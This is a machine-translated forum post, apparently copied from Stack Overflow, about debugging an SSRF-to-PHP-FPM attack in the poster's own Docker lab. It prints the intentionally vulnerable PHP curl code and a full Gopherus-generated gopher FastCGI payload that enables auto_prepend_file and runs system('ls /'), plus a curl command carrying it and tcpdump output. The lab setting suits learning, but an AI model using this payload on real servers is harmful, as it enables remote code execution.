Проблема с анализом скручивания во время атаки на PHP-FPM на интрасети с использованием протоколов SSRF+GopherPhp

Кемеровские программисты php общаются здесь
Ответить
Anonymous
 Проблема с анализом скручивания во время атаки на PHP-FPM на интрасети с использованием протоколов SSRF+Gopher

Сообщение Anonymous »

Я создал сервер в докере, используя Nginx+PHP-FPM (Nginx/1.18.0, PHP 8.2.3 (FPM-FCGI), Zend Engine V4.2.3) и запустил веб-страницу SSRF.PHP с уязвимостью SSRF, Где часть кода, которая имеет уязвимость SSRF, составляет < /p>

Код: Выделить всё

if ($_SERVER['REQUEST_METHOD'] === 'POST' && !empty($_POST['url'])) {
$url = trim($_POST['url']);
$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);

$result = curl_exec($ch);
< /code>
Я сопоставлял порт 80 в Docker, где веб -страница работает до порта 8085 на хосте и смог успешно получить к нему доступ, никаких проблем с этой частью сетевого соединения. /p>
Поскольку PHP-FPM в Docker прослушивается на порту 9000 из 127.0.0.1, я сейчас пытаюсь атаковать PHP-FPM на интрасете Docker через уязвимость на стороне сервера (SSRF) Хост (где я наметил веб -страницу в Docker), используя протокол Gopher для построения данных в формате FASTCGI. Полезная нагрузка атаки заключается в следующем (сгенерировано https://github.com/tarunkant/gopherus):
gopher://127.0.0.1:9000/\_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%0B%03%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH56%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%1ESCRIPT_FILENAME/var/wwwroot/default/index.php%0D%01DOCUMENT_ROOT/%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%008%04%00%3C%3Fphp%20system%28%27ls%20/%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00
Вот проблема: я использую tcpdump -i lo -a -s 0 port 9000 в Docker, чтобы получить все данные, полученные PHPFPM, и я обнаружил, что когда Я обратился к приведенному выше суслика через страницу PHP SSRF-хорошо, PHPFPM получает данные только один раз (что, очевидно, не имеет смысла, и предполагает, что содержание моего суслика не работает вообще: если содержание Протокол Gopher работает правильно, PHPFPM должен дважды получать данные от ssrf.php. Содержание суслика уязвимым Crul в ssrf.php.
Поэтому я попытался сначала устранение неполадок, если есть проблема с поддержкой моего скручивания протокола Gopher?
Я использовал команду curl -v, чтобы увидеть, что суслика включено в возврат, и похоже, что мой curl поддерживает протокол суслика. Команда Curl к PHP-FPM, инициированному Access, команда для Curl Gopher: //127.0.0.1: 9000/123, в то же время с портом TCPDUMP Порт 9000 Локальный петлю , указывая на то, что мой скручивание полностью поддерживает протокол суслика, и это означает, что мой сгибатель полностью поддерживает протокол Gopher и способен инициировать доступ к PHP-FPM, работающему на порту 9000. < /p>
Затем, я Попытался получить доступ к полному коду атаки, используя Curl с командой < /p>

Код: Выделить всё

curl -v "gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%0B%03%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH56%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%1ESCRIPT_FILENAME/var/wwwroot/default/index.php%0D%01DOCUMENT_ROOT/%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%008%04%00%3C%3Fphp%20system%28%27ls%20/%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00"
Ответить:

Код: Выделить всё

*   Trying 127.0.0.1:9000...
* Connected to 127.0.0.1 (127.0.0.1) port 9000 (#0)
* Closing connection 0
curl: (3) URL using bad/illegal format or missing URL
Тем временем в оболочке, где я запускаю tcpdump для прослушивания данных, получены следующие данные:

Код: Выделить всё

10:26:24.961141 IP localhost.36782 > localhost.9000: Flags [S], seq 4207458222, win 65495, options [mss 65495,sackOK,TS val 3105304826 ecr 0,nop,wscale 7], length 0
E..< .@.@.............#(.............0.........
..0.........
10:26:24.961154 IP localhost.9000 > localhost.36782: Flags [S.], seq 276791369, ack 4207458223, win 65483, options [mss 65495,sackOK,TS val 3105304826 ecr 3105304826,nop,wscale 7], length 0
E.. localhost.9000: Flags [F.], seq 1, ack 1, win 512, options [nop,nop,TS val 3105304827 ecr 3105304826], length 0
E..4 .@.@.............#(.......J.....(.....
..0...0.
10:26:24.963037 IP localhost.9000 > localhost.36782: Flags [.], ack 2, win 512, options [nop,nop,TS val 3105304828 ecr 3105304827], length 0
E..4..@.@...........#(.....J.........(.....
..0...0.
10:26:24.967882 IP localhost.9000 > localhost.36782: Flags [F.], seq 1, ack 2, win 512, options [nop,nop,TS val 3105304832 ecr 3105304827], length 0
E..4..@.@...........#(.....J.........(.....
..1...0.
10:26:24.967888 IP localhost.36782 > localhost.9000: Flags [.], ack 2, win 512, options [nop,nop,TS val 3105304832 ecr 3105304832], length 0
E..4..@.@.

Подробнее здесь: [url]https://stackoverflow.com/questions/79382707/a-problem-with-curl-parsing-during-an-attack-on-php-fpm-on-an-intranet-using-ssr[/url]
Ответить

Быстрый ответ

Изменение регистра текста: 
Смайлики
:) :( :oops: :roll: :wink: :muza: :clever: :sorry: :angel: :read: *x)
Ещё смайлики…
   
К этому ответу прикреплено по крайней мере одно вложение.

Если вы не хотите добавлять вложения, оставьте поля пустыми.

Максимально разрешённый размер вложения: 15 МБ.

Вернуться в «Php»